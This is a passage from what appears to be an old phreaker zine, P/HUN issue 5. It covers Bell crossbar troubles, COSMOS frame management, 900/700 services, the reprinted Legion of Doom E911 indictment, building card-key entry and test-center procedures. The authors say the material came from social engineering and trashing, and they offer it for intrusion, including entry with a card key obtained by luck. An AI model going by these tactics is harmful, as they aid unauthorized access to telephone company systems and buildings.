Crossed sleeves (2 hold magnets) 2) 2 select bars operating 3) 2 LG relays operating. CT -- 1) Defective incoming trunk. 2) Possible high resistance ring side. COI --- 1) Incoming trunk trouble (false release). 2) Loose or dirty contacts of sleeve of incoming connection. FDA --- 1) Reaching wrong #'s possible- see GWN. 2) Ringing selection switch trouble. 3) Incoming trunk trouble. 4) Incoming linkage open T or R. 5) Called sub line open T or R. End of PART 1 ------------- Well this article will conclude on future issues. Hopefully now you have a better understanding of all kinds of troubles reported to the Xbar office. This article is a little complicated to follow and DOES require the basic understanding of No. 5 Crossbar Switching System. Would also like say thanks to Lord Micro and Seeker who were the people behind the bins at a local office. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +--------------------------------------------------------+ | SSWC - Bell Research Report (Vol III) | |--------------------------------------------------------| | Phile #10 of P/HUN Magazine Issue #5 | +--------------------------------------------------------+ All research gathered, tested and mastered by the original members of SSWC: Chance - The Technician - Cellular Phantom After the large response we have received after writing our first two Bell Research report documents, we have chosen to continue our discussions on the ever intriguing Bell System and its many fascinating departments. Note that the information in this file is subject to change. However, we will try to keep you updated as much as possible. In our in depth research and social engineering practices of the Bell System, we have discovered an important plan which frameworkers and switch technicians must follow. This plan is known as the Frame Force Management Plan (FFMP), which is a guide to obtain maximum benift from the performance of frameworkers. (In other words this plan is used so the Bell System can make sure there frameworkers don't drop the ball). This plan may be used in either a centralized frame environment or a local a local wire center. It provides techniques for the manager to use in estimating the work load (demand and programmable frame work) and matching the available frame personnel to the expected work. The plan also provides information for the manager to analyze and evaluate the results of these techniques. In essence, the plan aids supervision in ensuring that: * Work is available to ensure adequate load exists for the available time. * Adequte personnel is available to complete necessary work. * Work is assigned in a correct sequence to minimize impact on other personnel. * Completed work is evaluated to ensure its efficiency and quality. * Work and personnel are scheduled to meet due date commitments. Note: The records, reports and status information for this plan may be administered in the local distributing frame enviornment, a Frame Control Center (FCC) or a Frame Work Station (FWS) in a Switching Control Center (SCC). This plan provides frame managers with suggested procedures to develope forcasts or estimates of future work volumes. With this knowledge, the manager should be able to accomplish the following: * Meet subscriber demands. * Program company-generated work. * Ensure that all employees are assigned productively. To avoid possbile misunderstanding, the following definitions are provided. Distributing Frame: Main Distributing Frame (MDF), Intermediate Distributing Frame (IDF), Line Distributing Frame (LDF), Trunk Distributing Frame (TDF), No. Group, Translator, Block Relay, No. Network (Automatic Number Identification) [ANI] and any other frame performaing functions related to work covered by this plan. Frame Control Center: An administrative center that performs pricing, packaging, force loading, tracking, and force administration for centralized frame operations. Frame Work Station: A work station that is responsible for the functions of the FCC on a smaller scale. It is located in an SCC. Programmable Work: Programmable work requests consist of the same work requests that are included in demand work. The difference is that the programmable work requests are received before the due date in time to schedule thier completion. Examples of programmable work are: * Service Orders * Trunk Orders * Special Service Orders * Verifications * Cable Transfers * Routine maintenance * Line Equiptment Transfers * Service Observing (Remote Observation[REMOB]) In a Cosmos environment, the following activites should be conducted to ensure data base accuracy: * Prompt and accurate frame service order completion notifications. * Use of the order status procedures for notifying the Loop Assignment Center (LAC) and other control centers of discrepancies and pending order status encountered that contradict the Cosmos frame work order or prevent frame order completing. The average service order for an MDF consists of two basic operations: (1) the jumper on the Main Distributing Frame (MDF), and (2) the cross-connections for the telephone number, billing, and line equipment. (Modular and Common System Main Interconnecting Frame [COSMIC]) systems' types of cross-connects. COSMIC; developed by AT&T. Next we will discuss how Cosmos is used in aiding Frameworkers and Frame Technicians. The Computer System for Main Frame Operations (COSMOS) is a mechanized record and assignment system designed to maintain accurate records of Main Distributing Frame (MDF) facilities and efficiently administer desired assignment of exchange facilities. Cosmos maintains a record of all line equiptment, exchange cable pairs, and telephone numbers served by the wire center. Cosmos is a very useful tool in administering frame work in a central office. It allows increased productivity and gives the frame supervisor much greater visibility of the projected work load. However, Cosmos will not automatically create order out of chaos. The purpose of Cosmos is to assign the shortest possible MDF jumper connection between CO line equiptment and the cable pair serving the customer. With the Dedicated Inside Plant (DIP) administration, Cosmos aids in reusing as many spare jumpers as possible. When a D-Order (dis- connect order) is processed, the possibility of reusing the existing jumper on a new connect service order is considered. Re-using a jumper eliminates extra work and reduces the possibility of wiring errors. Frame work is performed from the Cosmos output whether the order is a service order or work order. When a service order cannot be worked, the frame workers should establish a jepordy report in Cosmos. Enough information must be provided so that the LAC can take appropriate action, without having to call the frame. Because Cosmos will only print out orders due on the date requested, and because an inquiry can be made on any pending orders in Cosmos by order number, it is not necessary to file orders by due date or by order number. However, it is necessary to be able to find orders that have been modified, cancelled, or changed. Next we will briefly discuss the Cosmos orders filing system, which can be divided into two parts: (1) pending orders, and (2) Main Distributing Frame (MDF) completed orders. In each section the orders will be filed by exchange code. Circuits without a telephone number are filed in a separate "private line bin" *(however, we regret that we have not fully understood and research this section of the filing system, due to its uncommon use). The service orders in the pending section are those which for one reason or another, cannot be worked at present. These include orders that have had the due dates advanced or that require the installers go-ahead. A separate file area is kept for orders in jepordy. When an order is MDF-complete, it is placed in the complete order section. Work orders such as (cable pairs transfers, line equiptment transfers) should be filed in the pending order section by order number. In the completed section, work orders should be filed by telephone exchange and remaining telephone number, along with service orders. Orders in the complete section are only retained for a few weeks only. Usually after a two week period those completed orders are removed. The responsibility of the frame with Cosmos is to enter the status of all work orders into the system. The frame also shares the responibility for reporting data base validity, and is responsible for reporting any data base errors to the originator of the order as well as performing periodic verifications of the data base, to insure proper functioning of the data base. We will now briefly discuss the Cosmos Frame Work Management (FWM) module. The Cosmos FWM supports a Frame Control Center (FCC), a Switching Control Center (SCC), or a traditional wire center location by mechanizing the clerical effort involved in sorting, pricing, and packaging Plain Old Telephone Service (POTS) frame work orders. The module automatically developes work packages, either by due date, order type, frame location, switching type or in any combination which meets assignment requirements. We would like to thank the following organizations and thier members for being truly innovative hackers: EVERYONE IN THE TIS CLUB, EVERYONE AT 2600 MAGAZINE, DPAK AND SUPERNIGGER, PHORTUNE 500, THE BAD BOYS, THE TECHNICIAN WOULD LIKE SAY, "HELLO TO RED KNIGHT, MY BOY TONY FROM THE SWITCHING CONTROL CENTER, AND KEY PULSE - A REALLY INNOVATIVE GUY!". CELLULAR PHANTOM WOULD LIKE TO SAY, "THIS FILE IS DEDICATED TO: THE GIRL WITH THE LITTLE RED SHOES, SHE LIKES TO PARTY, SHE LIKES TO BOOZE, SHE LOST HER CHERRY BUT THATS NO SIN, SHE STILL GOT THE BOX THE CHERRY CAME IN". HELLO TO BRADLY IN OHIO, SUB ZERO, AND ALL MY BOYS BACK AT CUYAHOGA HILLS BOYS SCHOOL (JAIL IS A FUCKED UP PLACE ISN'T IT?). * SSWC: The leader of Innovative hacking! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Phile #11 of P/HUN Issue #5 CARRIER 900/700 SERVICE WRITTEN BY TONE TEC On November 30, 1988, the FCC approved a tariff which makes 900/700 Services available to all Carriers. Prior to this, only AT&T provided information services thru 900 numbers. The 900/700 service offers enhanced information capabilities such as * interactive group conversations * recordings for weather status, sports scores, music news,etc. The 900/700 Service differs from the 976 product in that 900/700 Services are carried interLATA and interstate as opposed to intraLATA (LATA in telco lingo means Local Access Transport Area). Also the Carrier offers the Service to the Information Provider(IP) who is considered the Carrier's customer. This differs from 976 Service where the IP is the local telco's customer. But what does all this mean to you, John Phrack? Why, more confusion, of course, as to just who is handling your billing. Detail for 900/700 messages will appear on the appropriate Carrier toll page of your bill. Messages will be interspersed with other LD calls placed thru same carrier. The cost varies from 50 cents per minute to 2.00. The method used for reaching a 900 or 700 service differs. Calls to 900 numbers may always be completed by dialing 1+900+NNX+XXXX (NXX being the Exchange or C.O. code). Each 900 NNX is carrier specific and customers will not always be aware of which carrier is providing the service. Example: A customer with AT&T as the chosen 1+ carrier could dial an advertised 900# provided by Allnet. Since the service was reached without dialing Allnet's access code, the customer may expect the call to appear under AT&T's charges. WRONGO! Calls to 700 numbers are completed by dialing 1+700+NNX+XXXX or 10XXX+1+700+NNX+XXXX depending on the customers primary carrier. Each 700 NNX is not Carrier specific, therefore customers will be aware of which Carrier is providing the 700 Service. Advertisements for 700 Services will appear with appropriate 5-digit Carrier code. Allnet Communications is the first carrier to process 700 Service messages. The content of the 700 Service may be a recorded message, live convo, or prompts to enter responses thru the use of TT keypad. "Live Convo" programs won't be monitored by local telco, but will be monitored 24 hours a day, 7 days a week by Allnet. (Are you kidding?) By the way, if you choose to abuse this service from home (or your best bud's home) there is a nifty device available to the Carrier call Selective Carrier Denial (SCD). This is an optional restriction service available to the carrier to restrict the end user from accessing their network via 1+,0+,00- and 10XXX dialing. This does not affect access to the local network. SCD is only designed to restrict customers with One-Party service. Surely there exists some exciting new phreaking potentialities out of all this............................. ALLNET 700 SERVICE NUMBER PROGRAM NAME DESCRIPTION OF PROGRAM CHARGE 222-2222 US TALKLINE GROUP BRIDGING SERVICES $.99P/MIN INTENDED FOR INDIVIDUAL 18 YEARS OF AGE AND UP 444-4444 PARTY LINE GROUP BRIDGING SERVICES $1.00 P/M INTENDED FOR INDIVIDUAL 18 YEARS OF AGE AND UP 666-6666 TALKNET USA GROUP BRIDGING SERVICES $.99 P/M INTENDED FOR INDIVIDUAL 18 YEARS OF AGE AND UP 700-7000 GABB LINE GROUP BRIDGING SERVICES $1.95 1/M INTENDED FOR INDIVIDUAL $.99EA AD 18 YEARS OF AGE AND UP 825-5121 TALK ONE NATIONWIDE AUDIENCE OF $1.491/M INDIVIDUALS WHO LIKE $1.49AD M TO SPEAK ON THE PHONE 999-9999 ACCESS USA GROUP BRIDGING SERVICES $.95 P/M INTENDED FOR INDIVIDUAL 18 YEARS OF AGE AND UP 546-9467 SPORTS AUDIENCE PRIMARILY MADE $5.00P CL UP OF ADULT MALE SPORTS ENTHUSIASTS. RECORDING 539-4263 SPORTS AUDIENCE PRIMARILY MADE $5.00P CL UP OF ADULT MALE SPORTS ENTHUSIASTS. RECORDING ALLNET 900 SERVICE 909-JEFF DIAL-A-ROCKER AUDIENCE PRIMARILY MADE $2.00 1/M UP OF RAPPER FANS OF $.45EA/AD D.J. JAZZY JEFF (Uh sorry, folks, but I just had to throw that one in. I know my day is more complete with that 900 # available to me) hehe TONE =============================================================================== -=Phile #12 of P/HUN Issue #5=- ---------------------------- From: telecom@eecs.nwu.edu (TELECOM Moderator) Newsgroups: comp.dcom.telecom Subject: Legion of Doom Indictments (Chicago Members, Jolnet Shutdown) Date: Sat, 31-Mar-90 20:05:00 EDT Organization: TELECOM Digest X-Telecom-Digest: Special Issue: LoD in Trouble! TELECOM Digest Sat, 31 Mar 90 19:05:00 CST Special: LoD in Trouble! Inside This Issue: Moderator: Patrick A. Townson Legion of Doom Indictments (Chicago Members) [Mike Godwin] ---------------------------------------------------------------------- From: Mike Godwin Subject: Legion of Doom Indictments (Chicago Members, Jolnet Shutdown) Date: 31 Mar 90 22:37:33 GMT Reply-To: Mike Godwin Organization: The University of Texas at Austin, Austin, Texas The following is the text of the federal indictments of the Chicago Jolnet members. Secret Service jurisdiction to investigation these alleged computer-related offenses comes from 18 USC 1030, the general computer-fraud statute -- it's provided in section (d) under this statute. UNITED STATES DISTRICT COURT NORTHERN DISTRICT OF ILLINOIS EASTERN DIVISION ) UNITED STATES OF AMERICA ) ) v. ) No. ______________________ ) Violations: Title 18, United ROBERT J. RIGGS, also known ) States Code, Sections as Robert Johnson, also ) 1030(a)(6)(A) and 2314 known as Prophet, and ) CRAIG NEIDORF, also known ) as Knight Lightning ) COUNT ONE The SPECIAL APRIL 1987 GRAND JURY charges: PROPERTY INVOLVED 1. At all times relevant herein, enhanced 911 (E911) was the national computerized telephone service program for handling emergency calls to the police, fire, ambulance and emergency services in most municipalities in the United States. Dialing 911 provided the public immediate access to a municipality's Public Safety Answering Point (PSAP) through the use of computerized all routing. The E911 system also automatically provided the recipient of an emergency call with the telephone number and location identification of the emergency caller. 2. At all times relevant herein, the Bell South Telephone Company and its subsidiaries ("Bell South") provided telephone services in the nine state area including Alabama, Mississippi, Georgia, Tennessee, Kentucky, Lousiana {sic}, North Carolina, South Carolina and Florida. 3. At all times relevant herein, the E911 system of Bell South was described in the text of a computerized file program known as the Bell South Standard Practice 660-225-104SV Control Office - 1 - Administration of Enhanced 911 Services for Special and Major Account Centers date March, 1988 ("E911 Practice"). The E911 Practice was a highly proprietary and closely held computerized text file belonging to the Bell South Telephone Company and stored on the company's AIMSX computer in Atlanta, Georgia. The E911 Practice described the computerized control and maintainence {sic} of the E911 system and carried warning notices that it was not to be disclosed outside Bell South or any of its subsidiaries except under written agreement. COMPUTER HACKERS 4. At all times relevant herein, computer hackers were individual involved with the unauthorized access of computer systems by various means. 5. At all times relevant herein, the Legion of Doom (LOD) was a closely knit group of computer hackers involved in: a. Disrupting telecommunications by entering computerized telephone switches and changing the routing on the circuits of the computerized switches. b. Stealing proprietary computer source code and information from companies and individuals that owned the code and information. c. Stealing and modifying credit information on individuals maintained in credit bureau computers. - 2 - d. Fraudulently obtaining money and property from companies by altering the computerized information used by the companies. e. Disseminating information with respect to their methods of attacking computers to other computer hackers in an effort to avoid the focus of law enforcement agencies and telecommunication security experts. 6. At all times relevant herein ROBERT J. RIGGS, defendant herein, was a member of the LOD. 7. At all times relevant herein CRAIG NEIDORF, defendant herein, was a publisher and editor of a computer hacker newletter {sic} known as "PHRACK." 8. At all times relevant herein, a public access computer bulletin board system (BBS) was located in Lockport, Illinois which provided computer storage space and electronic mail services to its users. The Lockport BBS was also used by computer hackers as a location for exchanging and developing software tools for computer intrusion, and for receiving and distributing hacker tutorials and other information. E-MAIL 9. At all times relevant herein electronic mail (e-mail) was a computerized method for sending communications and files between individual computers on various computer networks. Persons who sent or received e-mail were identified by an e-mail address, similar to a postal address. Although a person may have more than - 3 - one e-mail address, each e-mail address identified a person uniquely. The message header of an e-mail message identified both the sender and recipient of the e-mail message and the date the was {sic} message sent. 10. Beginning in or about September, 1988, the exact date begin unknown to the Grand Jury, and continuing until the return date of this indictment, at Lockport, in the Northern District of Illinois, Eastern Division, and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, defendants herein, together with others known and unknown to the Grand Jury, devised and intended to devise and participated in a scheme and artifice to defraud and to obtain money and other things of value by means of false and fraudulent pretenses and representations, well knowing at the time that such pretenses, representations and promises were false when made. OBJECT OF FRAUD SCHEME 11. The object of the fraud scheme was to steal the E911 Practice text file from the computers of Bell South Telephone Company though {sic} the use of false and fraudulent pretenses and representations and to conceal all indications that the text file had been stolen; and to thereafter publish the information about the E911 Practice text file in a hacker publication for dissemination. - 4 - OPERATION OF FRAUD SCHEME 12. It was part of the fraud scheme that the defendant NEIDORF would and did advise the defendant RIGGS that he had assembled a group of computer hackers for the purpose of distributing computer information. 13. It was further part of the scheme that the defendant RIGGS would and did steal sensitive proprietary Bell South information files including the E911 Practice text file by gaining remote unauthorized access to computers of the Bell South Telephone Company. 14. It was further part of the scheme that the defendant RIGGS would and did disguise and conceal the theft of the E911 Practice text file from Bell South Telephone Company by removing all indications of his unauthorized access into Bell South computers and by using account codes of legitimate Bell South users to disguise his authorized use of the Bell South computer. 15. It was further part of the scheme that RIGGS would and did transfer in interstate commerce a stolen E911 Practice text file from Atlanta, Georgia to Lockport, Illinois through the use of an interstate computer data network. 16. It was further part of the scheme that defendant RIGGS would and did store the stolen E911 Practice text file on a computer bulletin board system in Lockport, Illinois. 17. It was further part of the scheme that defendant NEIDORF, utilizing a computer at the University of Missouri in Columbia, Missouri would and did receive a copy of the stolen E911 text file - 5 - from defendant RIGGS through the Lockport computer bulletin board system through the use of an interstate computer data network. 18. It was further part of the scheme that defendant NEIDORF would and did edit and retype the E911 Practice text file at the request of the defendant RIGGS in order to conceal the source of the E911 Practice text file and to prepare it for publication in a computer hacker newsletter. 19. It was further part of the scheme that defendant NEIDORF would and did transfer the stolen E911 Practice text file through the use of an interstate computer bulletin board system used by defendant RIGGS in Lockport, Illinois. 20. It was further part of the scheme that the defendants RIGGS and NEIDORF would publish information to other computer hackers which could be used to gain unauthorized access to emergency 911 computer systems in the United States and thereby disrupt or halt 911 service in portions of the United States. 22. It was further a part of the scheme that the defendants would and did misrepresent, conceal, and hide, and cause to be misrepresented, concealed and hidden the purposes of ane {sic} the acts done in furtherance of the fraud scheme, and would and did use coded language and other means to avoid detection and apprehension - 6 - by law enforcement authorities and to otherwise provide security to the members of the fraud scheme. 23. In or about December, 1988, at Lockport, in the Northern District of Illinois, Eastern Division, and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, defendant herein, for the purpose of executing the aforesaid scheme, did knowingly transmit and cause to be transmitted by means of a wire communication in interstate commerce certain signs, signals and sounds, namely: a data transfer of a E911 Practice text file from Decatur, Georgia to Lockport, Illinois. In violation of Title 18, United States Code, Section 1343. - 7 - COUNT TWO The SPECIAL APRIL 1987 GRAND JURY further charges: 1. The Grand Jury realleges and incorporates by reference the allegations of paragraphs 1 through 22 of Count One of this Indictment as though fully set forth herein. 2. On or about January 23, 1989, at Lockport, in the Northern District of Illinois, Eastern Division and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, the defendants herein, for the purposes of executing the aforesaid scheme did knowingly transmit and cause to be transmitted by means of a wire communication in interstate commerce certain signs, signals and sounds, namely: a data transfer of a E911 Practice text file from Decatur, Georgia to Lockport, Illinois, an edited and retyped E911 Practice text file from Columbia, Missouri, to Lockport, Illinois. In violation of Title 18, United States Code, Section 1343. - 8 - COUNT THREE The SPECIAL APRIL 1987 GRAND JURY further charges: 1. The Grand Jury realleges and incorporates by reference the allegations of paragraphs 1 through 22 of Count One of this indictment as though fully set forth herein. 2. In or about December, 1988, at Lockport, in the Northern District of Illinois, Eastern Division, and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, defendants herein, did transport and cause to be transported in interstate commerce from Decatur, Georgia, to Lockport, Illinois, a computerized text file with a value of $5,000 or more, namely: A Bell South Standard Practice (BSP) 660-225-104SV- Control Office Administration of Enhanced 911 Services for Special Services and Major Account Centers dated March, 1988; valued at approximately $79,449.00 the defendants then and there knowing the same to have been stolen, converted, and taken by fraud; In violation of Title 18, United States Code, Section 2314. - 9 - COUNT FOUR The SPECIAL APRIL 1987 GRAND JURY further charges: 1. The Grand Jury realleges and incorporates by reference the allegations of paragraphs 1 through 22 of Count one of this Indictment as though fully set forth herein. 2. On or about January 23, 1989, at Lockport, in the Northern District of Illinois, Eastern Division, and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, defendants herein, did transport and cause to be transported in interstate commerce from Columbia, Missouri, to Lockport, Illinois, a computerized textfile with a value of $5,000 or more, namely: An edited Bell South Standard Practice (BSP) 660-225- 104SV- Control Office Administration of Enhanced 911 Services for Special Services and Major Account Centers dated March, 1988; valued at approximately $79,449.00. the defendants, then and there knowing the same to have been stolen, converted, and taken by fraud; In violation of Title 18, United States Code, Section 2314. - 10 - COUNT FIVE The SPECIAL APRIL 1987 GRAND JURY further charges: 1. The Grand Jury realleges and incorporates by reference the allegations of paragraphs 1 through 22 of Count One of this Indictment as though fully set forth herein. 2. On or about December, 1988, at Lockport, in the Northern District of Illinois, Eastern Division and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, the defendants herein, knowingly and with intent to defraud, trafficked in information through which a computer may be accessed without authorization and by such conduct affected interstate commerce; In violation of Title 18, United States Code, Section 1030(a)(6)(A). - 11 - COUNT SIX The SPECIAL APRIL 1987 GRAND JURY further charges: 1. The Grand Jury realleges and incorporates by reference the allegations of paragraphs 1 through 22 of Count One of this Indictment as though fully set forth herein. 2. In or about January, 1989, at Lockport, in the Northern District of Illinois, Eastern Division and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, the defendants herein, knowingly and with intend to defraud, trafficked in information through which a computer may be accessed without authorization and by such conduct affected interstate commerce; In violation of Title 18, United States Code, Section 1030(a)(6)(A). - 12 - COUNT SEVEN The SPECIAL APRIL 1987 GRAND JURY further charges: 1. The Grand Jury realleges and incorporates by reference the allegations of paragraphs 1 through 22 of Count One of this Indictment as though fully set forth herein. 2. In or about February, 1989, at Lockport, in the Northern District of Illinois, Eastern Division and elsewhere, ROBERT J. RIGGS, also known as Robert Johnson, also known as Prophet, and CRAIG NEIDORF, also known as Knight Lightning, the defendants herein, knowingly and with intent to defraud, trafficked in information through which a computer may be accessed without authorization and by such conduct affected interstate commerce; In violation of Title 18, United States Code, Section 1030(a)(6)(A). A TRUE BILL: ________________________________ F O R E P E R S O N ________________________________ UNITED STATES ATTORNEY - 13 - ==============END============= (transcribed for TELECOM Digest by) Mike Godwin, UT Law School mnemonic@ccwf.cc.utexas.edu mnemonic@walt.cc.utexas.edu (512) 346-4190 ------------------------------ End of TELECOM Digest Special: LoD in Trouble! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= % = % = % = % = % = % = % = % = % = % = = % % CARD READER ACCESS SYSTEM = = % % By The Ring Master = = % % Phile # 13 of P/HUN Magazine = = ---------------------------- % % Issue #5 = = -------- % % = % = % = % = % = % = % = % = % = % = Sorry for the 40 columns but thats the best I can do. --------------------------------------- Incase one of these days you get lucky and get a Telco Card Key, heres how you can use it -> : HOW TO USE 'YOUR' COMMAND CARD KEY :::::::::::::::::::::::::::::::::: An ENTER and EXIT sensor is installed at the from entrance door. A personal "Command Key" has been given to you which is recognized as a valid entry/exit to the building. Each card is programmer for a specific tour and/or time schedule.Thirty minutes on either side of the scheduled time allows for early entry or delayed departure. Your key card must be used when entering and exiting building. - If not used when exiting the building , it will not unlock the next time it is used to gain entrance and vice-versa. Present your card key to within 2 or 3 inches of the ENTER/EXIT sensor. It is not necessary to rub care key on the door glass. If the card key is authorized for that door for that time, within several seconds, you will hear the electric strike unlock. Access/Egress by significant numbers of personnel at the same time: For eg: (This is just for info purposes) several employees going to lunch. This procedure will only be in effect at specific buildings with large number of employees (for example Switching Control Centers). - Local management will have to modify system for specific times. - First employees presents card which opens door. - Following employees will also present thier card key to the ENTER/EXIT sensor in order to be acknowledged by the system program. - A red indicator light installed in the ENTER/EXIT sensor enclosure will flash on to acknowledge your card key code has been recognized. =============================================================================== ****************************************************************************** * * * S.S.T.C LMOS GUIDELINES * * * * By The Trasher 005 * * * * P/HUN Phile #14 of P/HUN Magazine Issue #5 * * * ****************************************************************************** This is what I found one day when I went trashing with my phreinds and thought it would be it would be nice to type up so everyone can know what procedures the SSTC (Special Service Test Center) follows : Heres what it says (to the testers offcourse): 1) Keep all trouble entry codes and narrative complete and accurate to avoid input error. 2) Testers are not to Exclude or RST any trouble. RSA's to exclude or FST only with Magnagement approval. 3) Be aware of measured duration on all trouble. Measurement of duration is everyones job. 4) Use work performed codes 1,2,3,5 & 6 ONLY ONCE on each trouble. 5) Testers are to leave employee code blank in closeout box. This box is for RSA use only. Testers are responsible for completing the type, disposition, cause , FL1 (if required) and ATH narrative in closeout section of BOR 6) All Testers are required to verify unit#, route code, class off service /service code, category of report and FL1 (sub code) on all troubles. 7) All New York Telephone troubles MUST HAVE a. Responsibility code of user b. Job Function code of user c. User Reach number 8) Use narrative on EST mask when possiblle. Indicate test, who refered, TN (Telephone Number), etc. 9) Re: Escalations - Enter date/time one minute after last entry and in narrative indicate correct date/time, who escalated to level and TN 10) Front Ends Used: 2B - All suffolk 2A - All Nassau (except below) 3A - Hicsville, Levittown and Farmingdale 11) Unit Numbers Used: 962 - All TTY, DATA, FAA, LOB & WATTS 963 - ALL OCC 964 - SCC 961 - SUFFOLK SPECIALS 441 - BAYSHORE S.S.T.C (Testing Unit of Suffolk Spec.) 011 = 2A 038 = 2A 022 = 2B 048 = 2B These Unit numbers "RED FLAG" Top 200 033 = 3A 058 = 3A Customers. 12) ALL Switched Data Troubles are to be MLT Tested and indicated in LMOS (and on BOR) with work performed code 2. 13) Re: STOP/START CLOCK Stop clock is to be used on all trouble which we intend to Dispatch to the customer but cannot do so because access is not available to customer premises - this applies not only on Nassau and Suffolk troubles but on referred out troubles (Bklyn, Qns, Bronx, etc.) as well. The narrative must provide information to justify the use of Stop clock. The work performance code Zero is THE ONLY code to be used after an eight (stop) and before a nice (start). Any other code will cancel the stop clock. Stop and Start clock codes can be used a maximum of three times on one trouble report. The following Codes indicate a Stop/Start Clock. 8 - STO - 121 = Stop Clock 9 - STA - 122 = Start Clock 14) Re: Delayed Maintenance Delayed Maintenance is to be used when the customer has a Ckt out of service but still has communication with same location by use of an alternate service. Alternate service can be Dial back up or another Ckt. going to the same location. Delayed Maintenance can be used from 5:00PM friday through 8:00AM Monday. The codes used in LMOSare the same as for Stop/Start Clock. The difference is the narrative must indicate the alternate service the customer has. Example #1 - Customer has D.B.H Example #2 - Customer Has Ckt # _________ to same location. We must ask the customer if he has alternate service on all troubles "carried" overnight. The customer is entitled to a rebate for the entire duration of his trouble if it is over 24 hrs on Data troubles and all occ orders specify (CCA) Customer Credit Allowance. We are responsible to give the customer the proper credit to which they are entitled. 15) Re: Message Reports When sending a message report to another Bureau for Dispatch/Test, make sure the following information is included : Circuit Number Customer Name Customer Address Customer Reach Number Our Reach Number U.G Cable/Pair Test Access Hours Vendor Reach number for ok/serial On the original trouble BOR, Enter line of status putting Circuit on hold and the M.R T.T.N ===============END=============================================================